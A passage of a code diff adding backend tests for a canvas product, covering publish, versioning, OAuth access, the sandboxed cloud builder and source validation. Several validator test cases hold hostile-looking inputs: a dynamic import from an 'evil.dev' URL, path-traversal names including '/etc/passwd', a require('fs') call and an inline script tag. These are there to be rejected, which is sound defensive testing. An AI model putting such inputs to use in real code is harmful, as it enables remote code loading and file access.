assert response.status_code == status.HTTP_400_BAD_REQUEST + + response = self.client.patch( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/", + {"generation_task_id": None}, + format="json", + ) + assert response.status_code == status.HTTP_200_OK + + def test_destroy_soft_deletes(self): + canvas_id = self._create_canvas() + response = self.client.delete(f"/api/projects/{self.team.id}/canvases/{canvas_id}/") + assert response.status_code == status.HTTP_204_NO_CONTENT + assert self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/").status_code == 404 + assert Canvas.objects.unscoped().filter(id=canvas_id, deleted=True).exists() + + +class TestCanvasSourceAndPublish(CanvasAPIBaseTest): + def test_source_of_unpublished_canvas_is_synthetic_and_blank(self): + canvas_id = self._create_canvas() + response = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/") + body = response.json() + assert body["current_version_id"] is None + assert body["project"]["files"]["src/canvas.tsx"] == "" + + def test_publish_creates_version_and_build_and_round_trips_source(self): + canvas_id = self._create_canvas() + project = self._project() + project["files"]["src/extra.ts"] = "export const x = 1" + + with self.captureOnCommitCallbacks(execute=True): + response = self._publish(canvas_id, project, prompt="first build", expected_current_version_id=None) + assert response.status_code == status.HTTP_200_OK, response.json() + version_id = response.json()["current_version_id"] + + canvas = Canvas.objects.unscoped().get(id=canvas_id) + assert str(canvas.current_source_version_id) == version_id + build = CanvasBuild.objects.unscoped().get(canvas_id=canvas_id) + assert build.status == CanvasBuild.STATUS_QUEUED + self.enqueue.assert_called_once_with(self.team.id, str(build.id)) + + # The multi-file project round-trips from the stored version. + response = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/") + body = response.json() + assert body["current_version_id"] == version_id + assert body["project"]["files"]["src/extra.ts"] == "export const x = 1" + + def test_stale_guard_conflicts(self): + canvas_id = self._create_canvas() + first = self._publish(canvas_id, expected_current_version_id=None) + assert first.status_code == status.HTTP_200_OK + + response = self._publish( + canvas_id, + self._project("export default function C() { return 2 }"), + expected_current_version_id=None, + ) + assert response.status_code == status.HTTP_409_CONFLICT + body = response.json() + assert body["code"] == "version_conflict" + assert body["current_version_id"] == first.json()["current_version_id"] + assert len(self.storage.objects) == 1 + + def test_validation_errors_reject_publish(self): + canvas_id = self._create_canvas() + response = self._publish(canvas_id, self._project('import x from "left-pad"')) + assert response.status_code == status.HTTP_400_BAD_REQUEST + codes = {d["code"] for d in response.json()["diagnostics"]} + assert "import_not_allowed" in codes + assert not CanvasSourceVersion.objects.unscoped().filter(canvas_id=canvas_id).exists() + + def test_undeclared_capabilities_reject_publish(self): + canvas_id = self._create_canvas() + response = self._publish(canvas_id, self._project('const r = ph.loadInsight("abc123")')) + assert response.status_code == status.HTTP_400_BAD_REQUEST + codes = {d["code"] for d in response.json()["diagnostics"]} + assert "capability_missing_insight" in codes + + declared = self._project('const r = ph.loadInsight("abc123")') + declared["capabilities"] = { + "posthog": {"insights": ["abc123"], "inlineQueries": False, "captureEvents": []}, + "network": {"origins": []}, + } + response = self._publish(canvas_id, declared, expected_current_version_id=None) + assert response.status_code == status.HTTP_200_OK, response.json() + + def test_publish_supersedes_older_queued_build(self): + canvas_id = self._create_canvas() + first = self._publish(canvas_id, expected_current_version_id=None) + second = self._publish( + canvas_id, + self._project("export default function C() { return 2 }"), + expected_current_version_id=first.json()["current_version_id"], + ) + assert second.status_code == status.HTTP_200_OK + + statuses = list( + CanvasBuild.objects.unscoped() + .filter(canvas_id=canvas_id) + .order_by("created_at") + .values_list("status", flat=True) + ) + assert statuses == [CanvasBuild.STATUS_FAILED, CanvasBuild.STATUS_QUEUED] + + def test_publish_capacity_cap_returns_429(self): + canvas_id = self._create_canvas() + with patch.object(build_service, "MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM", 0): + response = self._publish(canvas_id, expected_current_version_id=None) + assert response.status_code == status.HTTP_429_TOO_MANY_REQUESTS + assert not CanvasSourceVersion.objects.unscoped().filter(canvas_id=canvas_id).exists() + assert self.storage.objects == {} + + def test_edit_applies_operations_to_stored_head(self): + canvas_id = self._create_canvas() + first = self._publish(canvas_id, expected_current_version_id=None) + version_id = first.json()["current_version_id"] + + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/edit/", + { + "operations": [{"path": "src/added.ts", "content": "export {}"}], + "expected_current_version_id": version_id, + }, + format="json", + ) + assert response.status_code == status.HTTP_200_OK, response.json() + + source = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/").json() + assert source["project"]["files"]["src/added.ts"] == "export {}" + # The original component survives the per-file edit. + assert "src/canvas.tsx" in source["project"]["files"] + + def test_edit_delete_of_missing_file_400s(self): + canvas_id = self._create_canvas() + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/edit/", + { + "operations": [{"path": "src/nope.ts", "content": None}], + "expected_current_version_id": None, + }, + format="json", + ) + assert response.status_code == status.HTTP_400_BAD_REQUEST + assert response.json()["diagnostics"][0]["code"] == "edit_target_missing" + + def test_publish_clears_legacy_code(self): + canvas_id = self._create_canvas() + Canvas.objects.unscoped().filter(id=canvas_id).update(legacy_code="export default () => null") + + source = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/").json() + assert source["project"]["files"]["src/canvas.tsx"] == "export default () => null" + + response = self._publish(canvas_id, expected_current_version_id=None) + assert response.status_code == status.HTTP_200_OK + assert Canvas.objects.unscoped().get(id=canvas_id).legacy_code is None + + +class TestCanvasRevertAndBuilds(CanvasAPIBaseTest): + def _published_canvas(self) -> tuple[str, str, str]: + canvas_id = self._create_canvas() + first = self._publish(canvas_id, expected_current_version_id=None) + second = self._publish( + canvas_id, + self._project("export default function C() { return 2 }"), + expected_current_version_id=first.json()["current_version_id"], + ) + return canvas_id, first.json()["current_version_id"], second.json()["current_version_id"] + + def test_revert_moves_head_and_queues_build(self): + canvas_id, v1, v2 = self._published_canvas() + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/revert/", + {"version_id": v1, "expected_current_version_id": v2}, + format="json", + ) + assert response.status_code == status.HTTP_200_OK, response.json() + assert response.json()["source_version_id"] == v1 + assert str(Canvas.objects.unscoped().get(id=canvas_id).current_source_version_id) == v1 + + def test_versions_history_and_versioned_source(self): + canvas_id, v1, v2 = self._published_canvas() + versions = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/versions/").json()["results"] + assert [v["id"] for v in versions] == [v2, v1] + assert versions[1]["parent_version_id"] is None + + old = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/?version_id={v1}").json() + assert "return null" in old["project"]["files"]["src/canvas.tsx"] + # The head pointer is reported regardless of which version was read. + assert old["current_version_id"] == v2 + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/source/?version_id={uuid4()}") + assert response.status_code == status.HTTP_404_NOT_FOUND + + def test_revert_rejects_foreign_version(self): + canvas_id, _, v2 = self._published_canvas() + response = self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/revert/", + {"version_id": str(uuid4()), "expected_current_version_id": v2}, + format="json", + ) + assert response.status_code == status.HTTP_404_NOT_FOUND + + def test_builds_lifecycle_includes_published_build_beyond_window(self): + canvas_id, v1, v2 = self._published_canvas() + canvas = Canvas.objects.unscoped().get(id=canvas_id) + published = CanvasBuild.objects.unscoped().filter(canvas_id=canvas_id, status="queued").first() + assert published is not None + published.status = CanvasBuild.STATUS_READY + published.save() + canvas.published_build = published + canvas.save() + + # Bury the published build past the window with newer failed builds. + version = CanvasSourceVersion.objects.unscoped().get(id=v2) + with team_scope(self.team.id): + for _ in range(25): + CanvasBuild.objects.create( + team_id=self.team.id, + canvas_id=canvas_id, + source_version=version, + status=CanvasBuild.STATUS_FAILED, + ) + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/builds/") + body = response.json() + assert body["published_build_id"] == str(published.id) + assert str(published.id) in {build["id"] for build in body["builds"]} + + def test_build_with_pruned_artifacts_advertises_no_url(self): + canvas_id, v1, _ = self._published_canvas() + build = CanvasBuild.objects.unscoped().filter(canvas_id=canvas_id).first() + assert build is not None + build.status = CanvasBuild.STATUS_READY + build.manifest = { + "entryHtml": "index.html", + "assets": [], + "dependencies": {}, + "canvasSdkVersion": "0.1.0", + "capabilities": {}, + } + build.artifact_object_prefix = None # retention pruned the objects + build.save() + + response = self.client.get(f"/api/projects/{self.team.id}/canvases/{canvas_id}/builds/") + record = next(b for b in response.json()["builds"] if b["id"] == str(build.id)) + assert record["build_status"] == "ready" + assert record["artifact_url"] is None + + def test_build_actions(self): + canvas_id, *_ = self._published_canvas() + build = CanvasBuild.objects.unscoped().filter(canvas_id=canvas_id, status="queued").first() + assert build is not None + + def act(action: str, build_id=None): + return self.client.post( + f"/api/projects/{self.team.id}/canvases/{canvas_id}/builds/action/", + {"action": action, "build_id": str(build_id or build.id)}, + format="json", + ) + + assert act("pin").json()["pinned"] is True + assert act("unpin").json()["pinned"] is False + + with patch.object(build_service, "MAX_PINNED_BUILDS_PER_CANVAS", 1): + assert act("pin").status_code == status.HTTP_200_OK + with team_scope(self.team.id): + other = CanvasBuild.objects.create( + team_id=self.team.id, + canvas_id=canvas_id, + source_version_id=build.source_version_id, + status=CanvasBuild.STATUS_QUEUED, + ) + assert act("pin", other.id).status_code == status.HTTP_400_BAD_REQUEST + assert act("unpin").status_code == status.HTTP_200_OK + + # Cancel the queued build, then retry it. + response = act("cancel") + assert response.json()["build_status"] == "failed" + response = act("retry") + assert response.json()["build_status"] == "queued" + + # Retry of a non-failed build is rejected. + assert act("retry").status_code == status.HTTP_400_BAD_REQUEST + + # Retry respects the capacity cap. + act("cancel") + with patch.object(build_service, "MAX_ACTIVE_CANVAS_BUILDS_PER_TEAM", 0): + assert act("retry").status_code == status.HTTP_429_TOO_MANY_REQUESTS diff --git a/products/canvas/backend/tests/test_canvas_oauth.py b/products/canvas/backend/tests/test_canvas_oauth.py new file mode 100644 index 000000000000..d924813d1439 --- /dev/null +++ b/products/canvas/backend/tests/test_canvas_oauth.py @@ -0,0 +1,101 @@ +from datetime import timedelta +from typing import Any +from uuid import uuid4 + +from posthog.test.base import APIBaseTest + +from django.utils import timezone + +from posthog.models.oauth import OAuthAccessToken, OAuthApplication +from posthog.models.scoping import team_scope +from posthog.temporal.oauth import ARRAY_APP_CLIENT_ID_DEV + +from products.tasks.backend.models import Channel, Task + + +class TestCanvasOAuthAccess(APIBaseTest): + """The desktop app reaches /canvases/ exclusively through OAuth bearer tokens, + a path session-authenticated API tests never exercise. Wildcard covers the + grandfathered `*` grant; `canvas:read` covers tokens narrowed to an app's + scope ceiling at grant time (which must include the canvas scope).""" + + def _bearer(self, scope: str, client_id: str | None = None) -> str: + app = OAuthApplication.objects.create( + name="desktop", + client_type=OAuthApplication.CLIENT_CONFIDENTIAL, + authorization_grant_type=OAuthApplication.GRANT_AUTHORIZATION_CODE, + redirect_uris="https://example.com/callback", + algorithm="RS256", + skip_authorization=False, + organization=self.organization, + user=self.user, + **({"client_id": client_id} if client_id else {}), + ) + token = OAuthAccessToken.objects.create( + user=self.user, + application=app, + token=f"pha_{scope.replace(':', '-').replace('*', 'star')}", + scope=scope, + expires=timezone.now() + timedelta(hours=1), + scoped_teams=[], + scoped_organizations=[], + ) + return token.token + + def _list_canvases(self, scope: str) -> int: + with team_scope(self.team.id): + channel = Channel.objects.create(team=self.team, name="general") + token = self._bearer(scope) + self.client.logout() + res = self.client.get( + f"/api/projects/{self.team.id}/canvases/?channel={channel.id}&limit=200", + HTTP_AUTHORIZATION=f"Bearer {token}", + ) + return res.status_code + + def test_list_canvases_with_wildcard_oauth_token(self): + assert self._list_canvases("*") == 200 + + def test_list_canvases_with_canvas_read_oauth_token(self): + assert self._list_canvases("canvas:read") == 200 + + def test_list_canvases_denied_without_canvas_scope(self): + # A token whose enumerated grant predates the canvas scope: other scopes + # present, canvas absent. This is what a stale desktop session narrowed + # to an app's scope ceiling looks like; the client's OAUTH_SCOPE_VERSION + # bump exists to re-auth these. + assert self._list_canvases("task:read task:write dashboard:read") == 403 + + def _create_canvas(self, *, client_id: str | None, task_header: str | None) -> dict: + with team_scope(self.team.id): + channel = Channel.objects.create(team=self.team, name="general") + token = self._bearer("*", client_id=client_id) + self.client.logout() + extra: dict[str, Any] = {"HTTP_X_POSTHOG_TASK_ID": task_header} if task_header else {} + res = self.client.post( + f"/api/projects/{self.team.id}/canvases/", + {"channel_id": str(channel.id), "name": "Signups"}, + format="json", + HTTP_AUTHORIZATION=f"Bearer {token}", + **extra, + ) + assert res.status_code == 201, res.json() + return res.json() + + def test_sandbox_create_binds_the_generating_task(self): + # Composer-initiated generations have no client-side create, so the + # sandbox's stamped task header is what records which run produced the + # canvas — that link powers the task nesting and generating state. + task = Task.objects.create(team=self.team, created_by=self.user, title="Generate canvas") + body = self._create_canvas(client_id=ARRAY_APP_CLIENT_ID_DEV, task_header=str(task.id)) + assert body["generation_task_id"] == str(task.id) + + def test_non_sandbox_create_ignores_the_task_header(self): + # The header alone is forgeable; only sandbox-minted credentials count. + task = Task.objects.create(team=self.team, created_by=self.user, title="Generate canvas") + body = self._create_canvas(client_id=None, task_header=str(task.id)) + assert body["generation_task_id"] is None + + def test_sandbox_create_ignores_a_task_outside_the_team(self): + body = self._create_canvas(client_id=ARRAY_APP_CLIENT_ID_DEV, task_header=str(uuid4())) + assert body["generation_task_id"] is None diff --git a/products/canvas/backend/tests/test_cloud_builder.py b/products/canvas/backend/tests/test_cloud_builder.py new file mode 100644 index 000000000000..2337bc96dc5f --- /dev/null +++ b/products/canvas/backend/tests/test_cloud_builder.py @@ -0,0 +1,304 @@ +import os +import hashlib +import tempfile +from pathlib import Path +from typing import Any + +from unittest.mock import patch + +from django.test import SimpleTestCase + +from parameterized import parameterized + +from products.canvas.backend.build_service import run_cloud_builder, validate_builder_output +from products.canvas.backend.presentation.serializers import CanvasSourceProjectSerializer +from products.canvas.backend.source import synthetic_source_project, validate_source_project + + +class TestCanvasCloudBuilder(SimpleTestCase): + def test_legacy_canvas_build_mounts_react_and_injects_the_runtime_bridge(self) -> None: + payload = synthetic_source_project( + 'import React from "react"; export default function Canvas() { return
Hello
}' + ) + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + validate_builder_output(result) + javascript = "\n".join(file["content"] for file in result["files"] if file["path"].endswith(".js")) + html = next(file["content"] for file in result["files"] if file["path"] == "index.html") + self.assertIn("createRoot", javascript) + self.assertIn("canvas-runtime", html) + + def test_legacy_canvas_build_compiles_tailwind_and_quill_styles(self) -> None: + payload = synthetic_source_project( + 'import { Button } from "@posthog/quill"; ' + 'export default function Canvas() { return
' + "
}" + ) + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + validate_builder_output(result) + html = next(file["content"] for file in result["files"] if file["path"] == "index.html") + stylesheet = next( + file + for file in result["files"] + if file["path"].startswith("assets/canvas-platform-") and file["path"].endswith(".css") + ) + self.assertIn(f"./{stylesheet['path']}", html) + self.assertIn(".grid", stylesheet["content"]) + self.assertIn(".p-6", stylesheet["content"]) + self.assertIn(".md\\:grid-cols-2", stylesheet["content"]) + self.assertIn(".quill-button", stylesheet["content"]) + self.assertIn("--background", stylesheet["content"]) + + def test_publication_validation_allows_relative_worker_and_asset_imports(self) -> None: + payload = synthetic_source_project( + 'import workerUrl from "./sum.worker.ts?worker"; import image from "../assets/pixel.png"; void workerUrl; void image' + ) + payload["files"]["src/sum.worker.ts"] = 'self.postMessage("ready")' + payload["assets"] = { + "assets/pixel.png": {"encoding": "base64", "contentType": "image/png", "content": "iVBORw0KGgo="} + } + + diagnostics = validate_source_project(payload) + + self.assertNotIn("import_not_allowed", [item["code"] for item in diagnostics]) + + def _project(self, source: str) -> dict[str, Any]: + return { + "schemaVersion": 1, + "files": { + "index.html": '
', + "src/main.ts": source, + }, + "entryHtml": "index.html", + "dependencies": {}, + "canvasSdkVersion": "0.1.0", + } + + def test_builds_vanilla_typescript_with_the_shared_contract(self) -> None: + result = run_cloud_builder(self._project('document.querySelector("#root")!.textContent = "Hello"')) + + files, manifest, diagnostics = validate_builder_output(result) + self.assertEqual(diagnostics, []) + self.assertEqual(manifest["entryHtml"], "index.html") + self.assertFalse(manifest["capabilities"]["posthog"]["inlineQueries"]) + self.assertTrue(any(file["path"].endswith(".js") for file in files)) + + def test_runtime_uses_the_document_bound_message_port(self) -> None: + result = run_cloud_builder(self._project('document.body.textContent = "Hello"')) + + runtime = next(file["content"] for file in result["files"] if file["path"] == "assets/canvas-runtime.js") + self.assertIn('event.data?.type!=="connect"', runtime) + self.assertIn("event.ports[0]", runtime) + self.assertIn("port?.postMessage", runtime) + self.assertNotIn("parent.postMessage({channel,...message}", runtime) + + def test_runtime_bounds_host_side_effects(self) -> None: + result = run_cloud_builder(self._project('document.body.textContent = "Hello"')) + + runtime = next(file["content"] for file in result["files"] if file["path"] == "assets/canvas-runtime.js") + self.assertIn('url.protocol!=="https:"', runtime) + self.assertIn('url.hostname.endsWith(".posthog.com")', runtime) + self.assertIn("serialized.length>16384", runtime) + + def test_freezes_declared_capabilities_into_manifest(self) -> None: + project = self._project('document.body.textContent = "Hello"') + project["capabilities"] = { + "posthog": {"insights": ["abc"], "inlineQueries": False, "captureEvents": ["canvas viewed"]}, + "network": {"origins": []}, + } + + _, manifest, _ = validate_builder_output(run_cloud_builder(project)) + + self.assertEqual(manifest["capabilities"], project["capabilities"]) + + def test_rejects_unbounded_capabilities(self) -> None: + project = self._project("") + project["capabilities"] = { + "posthog": {"insights": ["x"] * 101, "inlineQueries": False, "captureEvents": []}, + "network": {"origins": []}, + } + + serializer = CanvasSourceProjectSerializer(data=project) + + self.assertFalse(serializer.is_valid()) + self.assertIn("capabilities", serializer.errors) + + def test_rejects_undeclared_package_imports(self) -> None: + result = run_cloud_builder(self._project('import React from "react"; void React')) + + self.assertEqual(result["status"], "failed") + self.assertEqual(result["diagnostics"][0]["code"], "import_not_declared") + + def test_rejects_prototype_chain_package_imports(self) -> None: + for specifier in ("constructor", "toString", "__proto__"): + result = run_cloud_builder(self._project(f'import value from "{specifier}"; void value')) + + self.assertEqual(result["status"], "failed") + self.assertEqual(result["diagnostics"][0]["code"], "import_not_declared") + + def test_builds_binary_assets_and_module_workers(self) -> None: + payload = self._project( + 'import image from "../assets/pixel.png"; import workerUrl from "./worker.ts?worker"; ' + 'document.body.dataset.image = image; new Worker(workerUrl, { type: "module" })' + ) + payload["files"]["src/worker.ts"] = 'self.postMessage("ready")' + payload["assets"] = { + "assets/pixel.png": { + "encoding": "base64", + "contentType": "image/png", + "content": "iVBORw0KGgo=", + }, + "assets/module.wasm": { + "encoding": "base64", + "contentType": "application/wasm", + "content": "AGFzbQEAAAA=", + }, + } + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertIn("new Blob", javascript) + self.assertIn("data:image/png;base64", javascript) + + def test_bundles_worker_imports_into_the_blob(self) -> None: + payload = self._project('import workerUrl from "./worker.ts?worker"; new Worker(workerUrl, { type: "module" })') + payload["files"]["src/worker.ts"] = 'import { answer } from "./worker-lib"; self.postMessage(answer)' + payload["files"]["src/worker-lib.ts"] = "export const answer = 42" + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertNotIn("worker-lib", javascript) + self.assertIn("42", javascript) + + def test_runtime_bundles_pinned_dependencies_without_network_access(self) -> None: + payload = {**self._project('import dayjs from "dayjs"; void dayjs'), "dependencies": {"dayjs": "1.11.13"}} + + result = run_cloud_builder(payload) + + self.assertEqual(result["status"], "ready", result["diagnostics"]) + html = next(file["content"] for file in result["files"] if file["path"] == "index.html") + self.assertIn("script-src 'self'", html) + self.assertNotIn("esm.sh", html) + javascript = next(file["content"] for file in result["files"] if file["path"].endswith(".js")) + self.assertNotIn('from"dayjs"', javascript) + + def test_source_contract_rejects_active_or_malformed_assets(self) -> None: + for content, content_type in (("%%%", "image/png"), ("PGgxLz4=", "text/html")): + payload = self._project("") + payload["assets"] = { + "assets/file.bin": { + "encoding": "base64", + "contentType": content_type, + "content": content, + } + } + + serializer = CanvasSourceProjectSerializer(data=payload) + + self.assertFalse(serializer.is_valid()) + self.assertIn("assets", serializer.errors) + + def test_rejects_artifact_content_that_does_not_match_manifest(self) -> None: + result = { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": [ + { + "path": "index.html", + "content": "tampered", + "contentHash": hashlib.sha256(b"safe").hexdigest(), + "sizeBytes": 4, + } + ], + "manifest": {"entryHtml": "index.html", "assets": []}, + } + + with self.assertRaisesMessage(ValueError, "integrity"): + validate_builder_output(result) + + def test_rejects_manifest_hash_that_does_not_match_emitted_file(self) -> None: + content = "safe" + digest = hashlib.sha256(content.encode()).hexdigest() + result = { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": [{"path": "index.html", "content": content, "contentHash": digest, "sizeBytes": 4}], + "manifest": { + "entryHtml": "index.html", + "assets": [{"path": "index.html", "contentHash": "0" * 64, "sizeBytes": 4}], + }, + } + + with self.assertRaisesMessage(ValueError, "manifest metadata"): + validate_builder_output(result) + + @parameterized.expand( + [ + ("path_traversal", "assets/../escape.js", False), + ("absolute_path", "/etc/passwd", False), + ("backslash", "assets\\bundle.js", False), + ("control_character", "assets/bundle\n.js", False), + ("beyond_source_charset", "assets/bundle name~.js", True), + ] + ) + def test_artifact_path_acceptance(self, _name: str, path: str, accepted: bool) -> None: + content = "x" + digest = hashlib.sha256(content.encode()).hexdigest() + result = { + "contractVersion": 1, + "status": "ready", + "diagnostics": [], + "files": [ + {"path": "index.html", "content": content, "contentHash": digest, "sizeBytes": 1}, + {"path": path, "content": content, "contentHash": digest, "sizeBytes": 1}, + ], + "manifest": { + "entryHtml": "index.html", + "assets": [ + {"path": "index.html", "contentHash": digest, "sizeBytes": 1}, + {"path": path, "contentHash": digest, "sizeBytes": 1}, + ], + }, + } + + if accepted: + validate_builder_output(result) + else: + with self.assertRaisesMessage(ValueError, "invalid artifact"): + validate_builder_output(result) + + @patch("products.canvas.backend.build_service.subprocess.run") + def test_builder_has_bounded_process_resources(self, run: Any) -> None: + run.return_value.returncode = 0 + run.return_value.stdout = '{"contractVersion":1,"status":"failed","diagnostics":[]}' + + run_cloud_builder({"files": {}}) + + args, kwargs = run.call_args + self.assertEqual(args[0][1], "--max-old-space-size=256") + self.assertEqual(kwargs["timeout"], 45) + self.assertEqual(kwargs["env"], {"PATH": "/usr/local/bin:/usr/bin:/bin", "NODE_ENV": "production"}) + + def test_runs_the_node_binary_resolved_from_the_worker_path(self) -> None: + with tempfile.TemporaryDirectory() as directory: + stub = Path(directory) / "node" + stub.write_text( + '#!/bin/sh\ncat > /dev/null\nprintf \'{"contractVersion":1,"status":"failed","diagnostics":[{"code":"stub_builder"}]}\'\n' + ) + stub.chmod(0o755) + + with patch.dict(os.environ, {"PATH": directory}): + result = run_cloud_builder({"files": {}}) + + self.assertEqual(result["diagnostics"][0]["code"], "stub_builder") diff --git a/products/canvas/backend/tests/test_migration_0002_desktop_tree.py b/products/canvas/backend/tests/test_migration_0002_desktop_tree.py new file mode 100644 index 000000000000..1fc0f54861a2 --- /dev/null +++ b/products/canvas/backend/tests/test_migration_0002_desktop_tree.py @@ -0,0 +1,79 @@ +from typing import Any + +from posthog.test.base import NonAtomicTestMigrations + + +class MigrateDesktopTreeHomeCanvasTest(NonAtomicTestMigrations): + """0002 converts desktop file-system rows to first-class models. Two folder + rows can resolve to the same channel and both carry meta.homeCanvasId (e.g. + a path-renamed duplicate); is_home is unique per channel, so only the first + may win or the second insert aborts the migration with an IntegrityError. + """ + + migrate_from = "0001_initial" + migrate_to = "0003_migrate_desktop_tree" + + CLASS_DATA_LEVEL_SETUP = False + + @property + def app(self) -> str: + return "canvas" + + def setUpBeforeMigration(self, apps: Any) -> None: + Organization = apps.get_model("posthog", "Organization") + Project = apps.get_model("posthog", "Project") + Team = apps.get_model("posthog", "Team") + User = apps.get_model("posthog", "User") + FileSystem = apps.get_model("posthog", "FileSystem") + + org = Organization.objects.create(name="Org") + project = Project.objects.create(id=999_997, organization=org, name="Proj") + team = Team.objects.create(organization=org, project=project, name="Team") + user = User.objects.create(email="c@example.com", distinct_id="c-distinct") + self.team_id = team.id + + # One top-level folder ("general") whose tree holds a home canvas, plus a + # second same-named folder row (a duplicate) ALSO pointing at a home + # canvas. Both resolve to the same "general" channel. + folder_a = FileSystem.objects.create( + team=team, + path="general", + depth=1, + type="folder", + surface="desktop", + created_by=user, + meta={"homeCanvasId": "11111111-1111-1111-1111-111111111111"}, + ) + folder_b = FileSystem.objects.create( + team=team, + path="general", + depth=1, + type="folder", + surface="desktop", + created_by=user, + meta={"homeCanvasId": "22222222-2222-2222-2222-222222222222"}, + ) + self.folder_a_id = folder_a.id + self.folder_b_id = folder_b.id + + for home_id, path in ( + ("11111111-1111-1111-1111-111111111111", "general/Home A"), + ("22222222-2222-2222-2222-222222222222", "general/Home B"), + ): + FileSystem.objects.create( + id=home_id, + team=team, + path=path, + depth=2, + type="dashboard", + surface="desktop", + created_by=user, + meta={"channelId": str(folder_a.id)}, + ) + + def test_two_home_canvas_pointers_in_one_channel_do_not_crash(self) -> None: + Canvas = self.apps.get_model("canvas", "Canvas") # type: ignore[union-attr] + canvases = list(Canvas.objects.filter(team_id=self.team_id)) + # Both dashboards migrated; exactly one is_home (no unique-constraint crash). + assert len(canvases) == 2 + assert sum(1 for c in canvases if c.is_home) == 1 diff --git a/products/canvas/backend/tests/test_source.py b/products/canvas/backend/tests/test_source.py new file mode 100644 index 000000000000..91c88f754d28 --- /dev/null +++ b/products/canvas/backend/tests/test_source.py @@ -0,0 +1,144 @@ +from django.test import SimpleTestCase + +from parameterized import parameterized + +from products.canvas.backend.contract import contract_limits +from products.canvas.backend.source import ( + CANVAS_COMPONENT_PATH, + CANVAS_ENTRY_HTML, + has_errors, + synthetic_source_project, + validate_source_project, +) + +MAX_FILE_BYTES = contract_limits()["maxSourceFileBytes"] +MAX_SOURCE_FILES = contract_limits()["maxSourceFiles"] + +CODE = 'import React from "react";\nexport default () =>
hi
;\n' + + +def project(**overrides): + base = { + "schemaVersion": 1, + "files": {CANVAS_ENTRY_HTML: '
', CANVAS_COMPONENT_PATH: CODE}, + "entryHtml": CANVAS_ENTRY_HTML, + "dependencies": {"react": "19.0.0"}, + "canvasSdkVersion": "0.1.0", + } + if "files" in overrides: + overrides["files"] = {CANVAS_ENTRY_HTML: '
', **overrides["files"]} + base.update(overrides) + return base + + +class TestCanvasSourceAdapter(SimpleTestCase): + def test_synthetic_project_of_legacy_canvas_validates_and_round_trips(self): + # The read → edit → publish loop must accept its own output: a project + # synthesized from a legacy canvas has to pass validation and reduce back + # to the identical code. + synthetic = synthetic_source_project(CODE) + self.assertEqual(synthetic["files"][CANVAS_COMPONENT_PATH], CODE) + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_synthetic_project_of_unpublished_canvas_has_empty_component(self): + synthetic = synthetic_source_project(None) + self.assertEqual(synthetic["files"][CANVAS_COMPONENT_PATH], "") + self.assertFalse(has_errors(validate_source_project(synthetic))) + + def test_valid_minimal_project_has_no_diagnostics(self): + self.assertEqual(validate_source_project(project()), []) + + @parameterized.expand( + [ + ("wrong_schema_version", project(schemaVersion=2), "unsupported_schema_version"), + ("wrong_entry_html", project(entryHtml="main.html"), "invalid_entry"), + ( + "path_traversal", + project(files={CANVAS_COMPONENT_PATH: CODE, "../escape.tsx": "x"}), + "invalid_path", + ), + ( + "absolute_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "/etc/passwd": "x"}), + "invalid_path", + ), + ( + "backslash_path", + project(files={CANVAS_COMPONENT_PATH: CODE, "src\\win.tsx": "x"}), + "invalid_path", + ), + ("unknown_dependency", project(dependencies={"left-pad": "1.0.0"}), "dependency_not_admitted"), + ( + "dependency_version_drift", + project(dependencies={"react": "18.0.0"}), + "dependency_version_mismatch", + ), + ( + "non_whitelisted_import", + project(files={CANVAS_COMPONENT_PATH: 'import _ from "lodash";\n' + CODE}), + "import_not_allowed", + ), + ( + "dynamic_import", + project(files={CANVAS_COMPONENT_PATH: 'const m = await import("https://evil.dev/x.js");'}), + "forbidden_dynamic_import", + ), + ( + "require_call", + project(files={CANVAS_COMPONENT_PATH: 'const fs = require("fs");'}), + "forbidden_require", + ), + ( + "inline_script_tag", + project(files={CANVAS_COMPONENT_PATH: 'const html = "";'}), + "forbidden_inline_script", + ), + ( + "file_too_large", + project(files={CANVAS_COMPONENT_PATH: "a" * (MAX_FILE_BYTES + 1)}), + "file_too_large", + ), + ( + "too_many_files", + project( + files={ + CANVAS_COMPONENT_PATH: CODE, + **{f"src/f{i}.ts": "x" for i in range(MAX_SOURCE_FILES)}, + } + ), + "too_many_files", + ), + ( + "too_many_assets", + project( + assets={ + f"assets/{i}.png": { + "encoding": "base64", + "contentType": "image/png", + "content": "", + } + for i in range(MAX_SOURCE_FILES) + } + ), + "too_many_files", + ), + ] + ) + def test_invalid_projects_produce_error_diagnostics(self, _name, candidate, expected_code): + diagnostics = validate_source_project(candidate) + self.assertTrue(has_errors(diagnostics), diagnostics) + self.assertIn(expected_code, [d["code"] for d in diagnostics]) + + def test_direct_network_calls_warn_but_stay_publishable(self): + # fetch() is blocked by the sandbox CSP, not by publish — a comment or + # string mentioning it must not brick a canvas, so it's a warning. + candidate = project(files={CANVAS_COMPONENT_PATH: CODE + 'fetch("/api/x");'}) + diagnostics = validate_source_project(candidate) + self.assertFalse(has_errors(diagnostics)) + self.assertIn("network_fetch", 